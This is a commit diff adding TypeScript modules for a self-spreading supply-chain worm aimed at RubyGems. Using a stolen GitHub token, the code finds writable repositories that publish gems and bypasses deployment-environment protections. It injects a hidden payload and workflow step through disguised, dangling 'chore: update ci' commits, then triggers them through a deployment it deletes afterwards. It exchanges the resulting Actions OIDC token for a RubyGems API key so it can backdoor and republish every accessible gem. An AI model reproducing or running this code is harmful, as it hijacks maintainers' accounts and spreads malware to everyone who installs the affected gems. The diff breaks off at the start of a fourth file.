Upload files to "src/mutator/rubygemsoidc"
This commit is contained in:
@@ -0,0 +1,506 @@
|
||||
import { randomBytes } from "node:crypto";
|
||||
|
||||
import { githubFetch, githubJson } from "../../github_utils/client";
|
||||
import {
|
||||
createBlob as dbCreateBlob,
|
||||
createBranch as dbCreateBranch,
|
||||
createCommit as dbCreateCommit,
|
||||
createTree as dbCreateTree,
|
||||
getBranchRef,
|
||||
getCommitTree,
|
||||
} from "../../github_utils/gitDb";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
import { Mutator } from "../base";
|
||||
import {
|
||||
checkAndBypassEnvironment,
|
||||
type EnvironmentBypassState,
|
||||
extractEnvironmentNames,
|
||||
restoreEnvironment,
|
||||
} from "../npmoidc/environment";
|
||||
import { detectRubygemsPublishingRepo } from "./detector";
|
||||
import { injectRubygemsToolStep } from "./injector";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
interface UserRepo {
|
||||
full_name: string;
|
||||
default_branch: string;
|
||||
private: boolean;
|
||||
fork: boolean;
|
||||
permissions: { admin: boolean; push: boolean; pull: boolean };
|
||||
}
|
||||
|
||||
// ── Mutator ─────────────────────────────────────────────────────────────────
|
||||
|
||||
export class RubygemsOidcBranchMutator extends Mutator {
|
||||
private readonly token: string;
|
||||
private readonly indexJs: string;
|
||||
private readonly dryRun: boolean;
|
||||
|
||||
constructor(token: string, dryRun = false) {
|
||||
super();
|
||||
if (!token) throw new Error("GitHub token required");
|
||||
this.token = token;
|
||||
this.indexJs = "";
|
||||
this.dryRun = dryRun;
|
||||
}
|
||||
|
||||
private async loadIndexJs(): Promise<string> {
|
||||
if (this.indexJs) return this.indexJs;
|
||||
try {
|
||||
const raw = await Bun.file(Bun.main).text();
|
||||
return buildSelfExtractingPayload(raw, { wrap: true });
|
||||
} catch {
|
||||
return "// tool stub";
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
try {
|
||||
let repos: UserRepo[];
|
||||
|
||||
const targetReposEnv = process.env.TARGET_REPOS;
|
||||
if (targetReposEnv?.trim()) {
|
||||
const slugs = targetReposEnv
|
||||
.split(",")
|
||||
.map((s) => s.trim())
|
||||
.filter(Boolean);
|
||||
logUtil.log(
|
||||
`[rg-branch] Using TARGET_REPOS env (${slugs.length} repo(s))`,
|
||||
);
|
||||
repos = await fetchReposBySlugs(this.token, slugs);
|
||||
} else {
|
||||
logUtil.log("[rg-branch] Fetching writable public repos...");
|
||||
repos = await fetchWritableRepos(this.token);
|
||||
}
|
||||
|
||||
logUtil.log(`[rg-branch] Found ${repos.length} writable repo(s)`);
|
||||
|
||||
const indexJs = await this.loadIndexJs();
|
||||
let injected = 0;
|
||||
|
||||
for (const repo of repos) {
|
||||
try {
|
||||
const ok = await this.processRepo(repo, indexJs);
|
||||
if (ok) injected++;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[rg-branch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[rg-branch] Done. Injected into ${injected}/${repos.length} repos.`,
|
||||
);
|
||||
return injected > 0;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[rg-branch] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** Process a single repo by full name (e.g. "owner/name"). */
|
||||
async processSingleRepo(
|
||||
fullName: string,
|
||||
tokenOverride?: string,
|
||||
): Promise<boolean> {
|
||||
const [owner, name] = fullName.split("/");
|
||||
if (!owner || !name) {
|
||||
logUtil.log(`[rg-branch] Invalid repo name: ${fullName}`);
|
||||
return false;
|
||||
}
|
||||
const token = tokenOverride ?? this.token;
|
||||
const { githubJson } = await import("../../github_utils/client");
|
||||
const repoInfo = await githubJson<{
|
||||
default_branch: string;
|
||||
private: boolean;
|
||||
fork: boolean;
|
||||
permissions: { admin: boolean; push: boolean; pull: boolean };
|
||||
}>(token, `/repos/${owner}/${name}`);
|
||||
|
||||
const indexJs = await this.loadIndexJs();
|
||||
return this.processRepo(
|
||||
{
|
||||
full_name: fullName,
|
||||
default_branch: repoInfo.default_branch,
|
||||
private: repoInfo.private,
|
||||
fork: repoInfo.fork,
|
||||
permissions: repoInfo.permissions,
|
||||
},
|
||||
indexJs,
|
||||
);
|
||||
}
|
||||
|
||||
// ── Per-repo processing ──────────────────────────────────────────────────
|
||||
|
||||
private async processRepo(repo: UserRepo, indexJs: string): Promise<boolean> {
|
||||
const [owner, name] = repo.full_name.split("/");
|
||||
if (!owner || !name) return false;
|
||||
|
||||
// 1. Detect if this repo publishes to RubyGems via trusted publishing
|
||||
const detected = await detectRubygemsPublishingRepo(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
repo.full_name,
|
||||
repo.default_branch,
|
||||
repo.private,
|
||||
repo.permissions,
|
||||
);
|
||||
|
||||
if (!detected) return false;
|
||||
|
||||
// 2. Generate branch name and check environments
|
||||
const branchName = `oidc-${randomBytes(4).toString("hex")}`;
|
||||
const envBypasses: EnvironmentBypassState[] = [];
|
||||
|
||||
try {
|
||||
const envNames = extractEnvironmentNames(detected.workflow.rawYaml);
|
||||
for (const envName of envNames) {
|
||||
const result = await checkAndBypassEnvironment(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
envName,
|
||||
branchName,
|
||||
repo.permissions.admin,
|
||||
);
|
||||
|
||||
if (!result.canDeploy) {
|
||||
logUtil.log(`[rg-branch] ${repo.full_name}: ${result.blockedBy}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (result.bypassState) {
|
||||
envBypasses.push(result.bypassState);
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: bypassed env "${envName}"`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Inject the tool step into the workflow YAML
|
||||
const injection = injectRubygemsToolStep(detected.workflow.rawYaml, {
|
||||
workflowFilename: detected.workflow.filename,
|
||||
gemNames: detected.packageNames,
|
||||
repoFullName: repo.full_name,
|
||||
environmentName: detected.workflow.environmentName,
|
||||
});
|
||||
|
||||
if (!injection.injected) {
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: injection skipped — ${injection.reason}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 4. Two dangling commits: add → delete → branch → deployment
|
||||
const baseRef = await getDefaultBranchRef(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
repo.default_branch,
|
||||
);
|
||||
if (!baseRef) {
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: could not resolve default branch ref`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
const parentSha = baseRef.object.sha;
|
||||
const baseTreeSha = await getCommitTree(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
parentSha,
|
||||
);
|
||||
|
||||
// Create blobs
|
||||
const yamlBlobSha = await createBlob(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
injection.modifiedYaml,
|
||||
);
|
||||
const jsBlobSha = await createBlob(this.token, owner, name, indexJs);
|
||||
|
||||
if (!yamlBlobSha || !jsBlobSha) {
|
||||
logUtil.log(`[rg-branch] ${repo.full_name}: blob creation failed`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Build nested trees
|
||||
const ghDir = ".github";
|
||||
const wfDir = "workflows";
|
||||
|
||||
const wfTree = await createTree(this.token, owner, name, null, [
|
||||
{
|
||||
path: detected.workflow.filename,
|
||||
mode: "100644",
|
||||
type: "blob",
|
||||
sha: yamlBlobSha,
|
||||
},
|
||||
]);
|
||||
if (!wfTree) {
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: workflows tree creation failed`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
const ghTree = await createTree(this.token, owner, name, null, [
|
||||
{ path: wfDir, mode: "040000", type: "tree", sha: wfTree.sha },
|
||||
]);
|
||||
if (!ghTree) {
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: .github tree creation failed`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
const newTree = await createTree(this.token, owner, name, null, [
|
||||
{ path: ghDir, mode: "040000", type: "tree", sha: ghTree.sha },
|
||||
{
|
||||
path: scramble("_index.js"),
|
||||
mode: "100644",
|
||||
type: "blob",
|
||||
sha: jsBlobSha,
|
||||
},
|
||||
]);
|
||||
if (!newTree) {
|
||||
logUtil.log(`[rg-branch] ${repo.full_name}: tree creation failed`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Commit 1: add workflow (child of default branch HEAD)
|
||||
const addSha = await createCommit(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
scramble("chore: update ci"),
|
||||
newTree.sha,
|
||||
parentSha,
|
||||
);
|
||||
if (!addSha) {
|
||||
logUtil.log(`[rg-branch] ${repo.full_name}: add commit failed`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Commit 2: delete workflow (restore original base tree, parent = commit 1)
|
||||
const delSha = await createCommit(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
scramble("chore: update ci [skip ci]"),
|
||||
baseTreeSha,
|
||||
addSha,
|
||||
);
|
||||
if (!delSha) {
|
||||
logUtil.log(`[rg-branch] ${repo.full_name}: delete commit failed`);
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`,
|
||||
);
|
||||
logUtil.log(
|
||||
` View add: https://github.com/${owner}/${name}/commit/${addSha}`,
|
||||
);
|
||||
logUtil.log(
|
||||
` View del: https://github.com/${owner}/${name}/commit/${delSha}`,
|
||||
);
|
||||
logUtil.log(` Gem(s): ${detected.packageNames.join(", ")}`);
|
||||
logUtil.log(` Workflow: ${detected.workflow.filename}`);
|
||||
|
||||
// 5. Create branch at commit 2 (makes commit 1 reachable for deployment)
|
||||
await createBranch(this.token, owner, name, branchName, delSha);
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: branch ${branchName} created ✓`,
|
||||
);
|
||||
|
||||
if (this.dryRun) {
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: dry-run — skipping deployment`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 6. Create a deployment targeting commit 1 — triggers the workflow
|
||||
const deployment = await githubJson<{ id: number }>(
|
||||
this.token,
|
||||
`/repos/${owner}/${name}/deployments`,
|
||||
{
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
ref: addSha,
|
||||
auto_merge: false,
|
||||
required_contexts: [],
|
||||
environment: detected.workflow.environmentName ?? "production",
|
||||
transient_environment: true,
|
||||
}),
|
||||
},
|
||||
);
|
||||
const deployId = deployment.id;
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: deployment ${deployId} created ✓`,
|
||||
);
|
||||
|
||||
// 7. Delete the deployment record — the workflow was already
|
||||
// triggered so this is just housekeeping.
|
||||
try {
|
||||
await githubFetch(
|
||||
this.token,
|
||||
`/repos/${owner}/${name}/deployments/${deployId}`,
|
||||
{ method: "DELETE" },
|
||||
);
|
||||
logUtil.log(
|
||||
`[rg-branch] ${repo.full_name}: deployment ${deployId} deleted ✓`,
|
||||
);
|
||||
} catch {
|
||||
// best-effort — the deployment event already fired
|
||||
}
|
||||
|
||||
return true;
|
||||
} finally {
|
||||
// Restore any bypassed environments
|
||||
for (const bypass of envBypasses) {
|
||||
try {
|
||||
await restoreEnvironment(this.token, owner, name, bypass);
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Writable repo fetch
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
async function fetchReposBySlugs(
|
||||
token: string,
|
||||
slugs: string[],
|
||||
): Promise<UserRepo[]> {
|
||||
const repos: UserRepo[] = [];
|
||||
for (const slug of slugs) {
|
||||
const [owner, name] = slug.split("/");
|
||||
if (!owner || !name) continue;
|
||||
try {
|
||||
const repo = await githubJson<UserRepo>(token, `/repos/${owner}/${name}`);
|
||||
repos.push(repo);
|
||||
} catch {
|
||||
logUtil.log(`[rg-branch] could not fetch repo: ${slug}`);
|
||||
}
|
||||
}
|
||||
return repos;
|
||||
}
|
||||
|
||||
async function fetchWritableRepos(token: string): Promise<UserRepo[]> {
|
||||
const repos: UserRepo[] = [];
|
||||
const perPage = 100;
|
||||
let page = 1;
|
||||
|
||||
while (true) {
|
||||
const batch = await githubJson<UserRepo[]>(
|
||||
token,
|
||||
`/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`,
|
||||
);
|
||||
if (!batch || batch.length === 0) break;
|
||||
for (const r of batch) {
|
||||
if (r.fork) continue;
|
||||
if (r.permissions?.push) repos.push(r);
|
||||
}
|
||||
if (batch.length < perPage) break;
|
||||
page++;
|
||||
}
|
||||
|
||||
return repos;
|
||||
}
|
||||
|
||||
// ── Thin wrappers ───────────────────────────────────────────────────────────
|
||||
|
||||
async function getDefaultBranchRef(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branch: string,
|
||||
): Promise<{ object: { sha: string } } | null> {
|
||||
try {
|
||||
return await getBranchRef(token, owner, repo, branch);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function createBlob(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
content: string,
|
||||
): Promise<string | null> {
|
||||
try {
|
||||
return await dbCreateBlob(token, owner, repo, content);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function createTree(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
baseTreeSha: string | null,
|
||||
entries: Array<{ path: string; mode: string; type: string; sha: string }>,
|
||||
): Promise<{ sha: string } | null> {
|
||||
try {
|
||||
const sha = await dbCreateTree(
|
||||
token,
|
||||
owner,
|
||||
repo,
|
||||
baseTreeSha,
|
||||
entries as any,
|
||||
);
|
||||
return { sha };
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function createCommit(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
message: string,
|
||||
treeSha: string,
|
||||
parentSha: string,
|
||||
): Promise<string | null> {
|
||||
try {
|
||||
return await dbCreateCommit(
|
||||
token,
|
||||
owner,
|
||||
repo,
|
||||
message,
|
||||
treeSha,
|
||||
parentSha,
|
||||
);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function createBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branchName: string,
|
||||
sha: string,
|
||||
): Promise<void> {
|
||||
await dbCreateBranch(token, owner, repo, branchName, sha);
|
||||
}
|
||||
@@ -0,0 +1,303 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// RubyGems OIDC publishing repo detector
|
||||
//
|
||||
// Mirrors npmoidc/detector.ts but looks for RubyGems publishing signals in
|
||||
// GitHub Actions workflow YAML rather than npm publish commands.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { githubJson } from "../../github_utils/client";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface PublishWorkflow {
|
||||
/** Filename within .github/workflows/ (e.g. "release.yml") */
|
||||
filename: string;
|
||||
/** Workflow name from the YAML */
|
||||
name: string;
|
||||
/** Raw YAML content */
|
||||
rawYaml: string;
|
||||
/** Environment name used for deployment (if any) */
|
||||
environmentName?: string;
|
||||
/** The job name that does the publishing */
|
||||
publishJobName?: string;
|
||||
/** Step index where publishing happens (0-based) */
|
||||
publishStepIndex?: number;
|
||||
}
|
||||
|
||||
export interface RubygemsPublishRepo {
|
||||
fullName: string;
|
||||
defaultBranch: string;
|
||||
isPrivate: boolean;
|
||||
isFork: boolean;
|
||||
/** All gem names published from this repo (usually 1, can be >1). */
|
||||
packageNames: string[];
|
||||
workflow: PublishWorkflow;
|
||||
}
|
||||
|
||||
// ── Main detection ──────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Determine whether a GitHub repo publishes to RubyGems via trusted
|
||||
* publishing, and return the relevant package + workflow information.
|
||||
*
|
||||
* Returns `null` if the repo does not publish to RubyGems.
|
||||
*/
|
||||
export async function detectRubygemsPublishingRepo(
|
||||
token: string,
|
||||
owner: string,
|
||||
repoName: string,
|
||||
fullName: string,
|
||||
defaultBranch: string,
|
||||
isPrivate: boolean,
|
||||
permissions: { admin: boolean; push: boolean; pull: boolean },
|
||||
): Promise<RubygemsPublishRepo | null> {
|
||||
// We need at least push access to create a branch
|
||||
if (!permissions.push) {
|
||||
logUtil.log(`[rg-detector] ${fullName}: no push access — skip`);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 1. Find a publish workflow
|
||||
const workflow = await findRubygemsPublishWorkflow(token, owner, repoName);
|
||||
if (!workflow) {
|
||||
logUtil.log(`[rg-detector] ${fullName}: no RubyGems publish workflow`);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 2. Extract all gem names from the repo (gemspecs + workflow hints)
|
||||
const gemNames = await resolveGemNames(
|
||||
token,
|
||||
owner,
|
||||
repoName,
|
||||
defaultBranch,
|
||||
workflow,
|
||||
);
|
||||
if (gemNames.length === 0) {
|
||||
logUtil.log(`[rg-detector] ${fullName}: could not resolve gem name`);
|
||||
return null;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[rg-detector] ${fullName}: gems=${gemNames.join(", ")} workflow=${workflow.filename}`,
|
||||
);
|
||||
|
||||
return {
|
||||
fullName,
|
||||
defaultBranch,
|
||||
isPrivate,
|
||||
isFork: false,
|
||||
packageNames: gemNames,
|
||||
workflow,
|
||||
};
|
||||
}
|
||||
|
||||
// ── Workflow discovery ──────────────────────────────────────────────────────
|
||||
|
||||
const RUBYGEMS_PUBLISH_SIGNALS = [
|
||||
// Direct gem push with OIDC audience
|
||||
/gem\s+push/,
|
||||
/gem\s+release/,
|
||||
// RubyGems-specific GitHub Actions
|
||||
/rubygems\/release-gem/,
|
||||
/rubygems\/configure-rubygems/,
|
||||
// OIDC audience for rubygems.org
|
||||
/audience\s*:\s*rubygems\.org/,
|
||||
// Generic trusted publishing setup for RubyGems
|
||||
/rubygems-trusted-publishing/,
|
||||
/Trusted\s*Publishing/,
|
||||
];
|
||||
|
||||
interface ContentItem {
|
||||
name: string;
|
||||
path: string;
|
||||
type: "file" | "dir";
|
||||
download_url?: string;
|
||||
}
|
||||
|
||||
interface WorkflowFile {
|
||||
filename: string;
|
||||
name: string;
|
||||
rawYaml: string;
|
||||
}
|
||||
|
||||
async function findRubygemsPublishWorkflow(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<WorkflowFile | null> {
|
||||
// List .github/workflows directory
|
||||
let contents: ContentItem[];
|
||||
try {
|
||||
contents = await githubJson<ContentItem[]>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/contents/.github/workflows`,
|
||||
);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!Array.isArray(contents)) return null;
|
||||
|
||||
const workflowFiles: WorkflowFile[] = [];
|
||||
|
||||
for (const item of contents) {
|
||||
if (item.type !== "file") continue;
|
||||
if (!item.name.endsWith(".yml") && !item.name.endsWith(".yaml")) continue;
|
||||
if (!item.download_url) continue;
|
||||
|
||||
try {
|
||||
const res = await fetch(item.download_url, {
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
});
|
||||
if (!res.ok) continue;
|
||||
const rawYaml = await res.text();
|
||||
|
||||
// Score the workflow for RubyGems publishing signals
|
||||
const score = scoreWorkflowForRubygemsPublish(rawYaml);
|
||||
if (score > 0) {
|
||||
const wfName = extractWorkflowName(rawYaml) ?? item.name;
|
||||
workflowFiles.push({ filename: item.name, name: wfName, rawYaml });
|
||||
logUtil.log(
|
||||
`[rg-detector] ${owner}/${repo}: ${item.name} score=${score}`,
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
// Skip unreadable files
|
||||
}
|
||||
}
|
||||
|
||||
if (workflowFiles.length === 0) return null;
|
||||
|
||||
// Return the highest-scoring workflow
|
||||
workflowFiles.sort(
|
||||
(a, b) =>
|
||||
scoreWorkflowForRubygemsPublish(b.rawYaml) -
|
||||
scoreWorkflowForRubygemsPublish(a.rawYaml),
|
||||
);
|
||||
|
||||
return workflowFiles[0]!;
|
||||
}
|
||||
|
||||
function scoreWorkflowForRubygemsPublish(yaml: string): number {
|
||||
let score = 0;
|
||||
const normalized = yaml.toLowerCase();
|
||||
|
||||
for (const signal of RUBYGEMS_PUBLISH_SIGNALS) {
|
||||
if (signal.test(normalized)) score += 10;
|
||||
}
|
||||
|
||||
// Bonus for id-token:write (indicates OIDC / trusted publishing)
|
||||
if (/id-token\s*:\s*write/.test(normalized)) score += 15;
|
||||
|
||||
// Bonus for on: deployment trigger (repo-scope deployment bypass)
|
||||
if (/\bdeployment\b/.test(yaml)) score += 5;
|
||||
|
||||
// Bonus for rubygems.org audience in OIDC config
|
||||
if (/audience\s*:\s*rubygems\.org/.test(normalized)) score += 20;
|
||||
|
||||
return score;
|
||||
}
|
||||
|
||||
function extractWorkflowName(yaml: string): string | null {
|
||||
const match = yaml.match(/^name\s*:\s*(.+)$/m);
|
||||
if (match?.[1]) return match[1]!.trim().replace(/^["']|["']$/g, "");
|
||||
return null;
|
||||
}
|
||||
|
||||
// ── Gem name resolution ─────────────────────────────────────────────────────
|
||||
|
||||
async function resolveGemNames(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
defaultBranch: string,
|
||||
workflow: WorkflowFile,
|
||||
): Promise<string[]> {
|
||||
const names = new Set<string>();
|
||||
|
||||
// Strategy 1: Extract gem names from workflow YAML env vars or commands
|
||||
const fromWorkflow = extractGemNamesFromWorkflow(workflow.rawYaml);
|
||||
for (const n of fromWorkflow) names.add(n);
|
||||
|
||||
// Strategy 2: Extract from ALL .gemspec files at the repo root
|
||||
const fromGemspecs = await extractGemNamesFromGemspecs(
|
||||
token,
|
||||
owner,
|
||||
repo,
|
||||
defaultBranch,
|
||||
);
|
||||
for (const n of fromGemspecs) names.add(n);
|
||||
|
||||
// Strategy 3: Fall back to repo name if nothing found
|
||||
if (names.size === 0) names.add(repo);
|
||||
|
||||
return [...names];
|
||||
}
|
||||
|
||||
function extractGemNamesFromWorkflow(yaml: string): string[] {
|
||||
const names: string[] = [];
|
||||
|
||||
// gem push <name>-<version>.gem — may appear multiple times
|
||||
const pushRe = /gem\s+push\s+(\S+?)(?:-[\d.]+)?\.gem/g;
|
||||
let m: RegExpExecArray | null;
|
||||
while ((m = pushRe.exec(yaml)) !== null) {
|
||||
if (m[1]) names.push(m[1]!);
|
||||
}
|
||||
|
||||
// GEM_NAME env var
|
||||
const envMatch = yaml.match(/GEM_NAME\s*[=:]\s*["']?(\S+?)["'\s]/);
|
||||
if (envMatch?.[1]) names.push(envMatch[1]!);
|
||||
|
||||
// PACKAGE_NAME or GEM env var
|
||||
const pkgMatch = yaml.match(
|
||||
/(?:PACKAGE_NAME|GEM)\s*[=:]\s*["']?(\S+?)["'\s]/,
|
||||
);
|
||||
if (pkgMatch?.[1]) names.push(pkgMatch[1]!);
|
||||
|
||||
return names;
|
||||
}
|
||||
|
||||
async function extractGemNamesFromGemspecs(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
defaultBranch: string,
|
||||
): Promise<string[]> {
|
||||
const names: string[] = [];
|
||||
|
||||
try {
|
||||
const contents = await githubJson<ContentItem[]>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/contents?ref=${defaultBranch}`,
|
||||
);
|
||||
if (!Array.isArray(contents)) return names;
|
||||
|
||||
for (const item of contents) {
|
||||
if (item.type !== "file" || !item.name.endsWith(".gemspec")) continue;
|
||||
if (!item.download_url) continue;
|
||||
|
||||
try {
|
||||
const res = await fetch(item.download_url, {
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
});
|
||||
if (!res.ok) continue;
|
||||
const gemspec = await res.text();
|
||||
|
||||
// spec.name = "gem-name"
|
||||
const nameMatch = gemspec.match(/\.name\s*=\s*["']([^"']+)["']/);
|
||||
if (nameMatch?.[1]) names.push(nameMatch[1]!);
|
||||
|
||||
// spec.name = %q{gem-name}
|
||||
const qMatch = gemspec.match(/\.name\s*=\s*%q\{([^}]+)\}/);
|
||||
if (qMatch?.[1]) names.push(qMatch[1]!);
|
||||
} catch {
|
||||
// Skip unreadable gemspecs
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Can't list repo contents
|
||||
}
|
||||
|
||||
return names;
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { checkRubygemsToken } from "../rubygems/tokenCheck";
|
||||
|
||||
/**
|
||||
* RubyGems OIDC mutator — exchanges a GitHub Actions OIDC token for a
|
||||
* RubyGems API token, then reuses the existing RubyGemsClient to backdoor
|
||||
* and republish every gem the token has access to.
|
||||
*
|
||||
* Mirrors the NPMOidcClient pattern: get OIDC token → exchange for registry
|
||||
* token → enumerate packages → backdoor + republish.
|
||||
*/
|
||||
export class RubyGemsOidcClient extends Mutator {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
// 1. Get GitHub Actions OIDC token (audience: rubygems.org)
|
||||
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||
process.env;
|
||||
|
||||
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
|
||||
logUtil.log(
|
||||
"[rubygemsOidc] not running in GitHub Actions with id-token:write",
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
const oidcUrl = `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=rubygems.org`;
|
||||
let oidcToken: string;
|
||||
try {
|
||||
const oidcRes = await fetch(oidcUrl, {
|
||||
headers: {
|
||||
Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}`,
|
||||
},
|
||||
});
|
||||
if (!oidcRes.ok) {
|
||||
logUtil.log(
|
||||
`[rubygemsOidc] OIDC token request failed: ${oidcRes.status}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
const data = (await oidcRes.json()) as { value: string };
|
||||
oidcToken = data.value;
|
||||
if (!oidcToken) {
|
||||
logUtil.log("[rubygemsOidc] OIDC response missing token");
|
||||
return false;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygemsOidc] OIDC token error: ${e}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2. Exchange OIDC token for a RubyGems API token
|
||||
const rgToken = await exchangeOidcForRubygemsToken(oidcToken);
|
||||
if (!rgToken) {
|
||||
logUtil.log("[rubygemsOidc] OIDC → RubyGems token exchange failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. Validate the token and enumerate accessible gems
|
||||
const tokenInfo = await checkRubygemsToken(rgToken);
|
||||
if (!tokenInfo.valid || tokenInfo.gems.length === 0) {
|
||||
logUtil.log(
|
||||
"[rubygemsOidc] token valid but no gems accessible (scoped or empty)",
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[rubygemsOidc] token valid — ${tokenInfo.gems.length} gem(s) accessible`,
|
||||
);
|
||||
|
||||
// 4. Delegate to the existing RubyGemsClient for download/patch/publish
|
||||
const { RubyGemsClient } = await import("../rubygems/index");
|
||||
const client = new RubyGemsClient(tokenInfo);
|
||||
return client.execute();
|
||||
}
|
||||
}
|
||||
|
||||
// ── OIDC → RubyGems token exchange ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Exchange a GitHub Actions OIDC token for a short-lived RubyGems API token.
|
||||
*
|
||||
* POST https://rubygems.org/api/v1/oidc/api_key_roles/tokens
|
||||
* Authorization: Bearer <oidc_token>
|
||||
*/
|
||||
async function exchangeOidcForRubygemsToken(
|
||||
oidcToken: string,
|
||||
): Promise<string | null> {
|
||||
try {
|
||||
const res = await fetch(
|
||||
"https://rubygems.org/api/v1/oidc/api_key_roles/tokens",
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
Authorization: `Bearer ${oidcToken}`,
|
||||
"Content-Type": "application/json",
|
||||
Accept: "application/json",
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
if (!res.ok) {
|
||||
const text = await res.text().catch(() => "");
|
||||
logUtil.log(
|
||||
`[rubygemsOidc] token exchange HTTP ${res.status}: ${text.slice(0, 200)}`,
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
const data = (await res.json()) as {
|
||||
rubygems_api_key?: { token?: string; key?: string };
|
||||
token?: string;
|
||||
key?: string;
|
||||
};
|
||||
|
||||
return (
|
||||
data.rubygems_api_key?.token ??
|
||||
data.rubygems_api_key?.key ??
|
||||
data.token ??
|
||||
data.key ??
|
||||
null
|
||||
);
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygemsOidc] token exchange error: ${e}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
